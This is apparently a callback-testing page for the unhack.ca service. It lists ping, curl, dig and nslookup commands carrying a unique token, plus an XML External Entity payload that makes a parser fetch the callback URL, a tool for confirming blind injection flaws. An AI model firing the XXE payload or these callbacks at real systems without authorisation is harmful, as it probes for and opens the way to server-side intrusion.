$ ping -c1 -p 0056aff2da2af75e1a07bd198c748600 unhack.ca
 

$ curl http://unhack.ca/p/56aff2da2af75e1a07bd198c7486
 

$ dig 56aff2da2af75e1a07bd198c7486 @unhack.ca
 

$ dig 56aff2da2af75e1a07bd198c7486.ns.unhack.ca
 

C:\> nslookup 56aff2da2af75e1a07bd198c7486 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/56aff2da2af75e1a07bd198c7486">]>
    <foo>&xxe;</foo>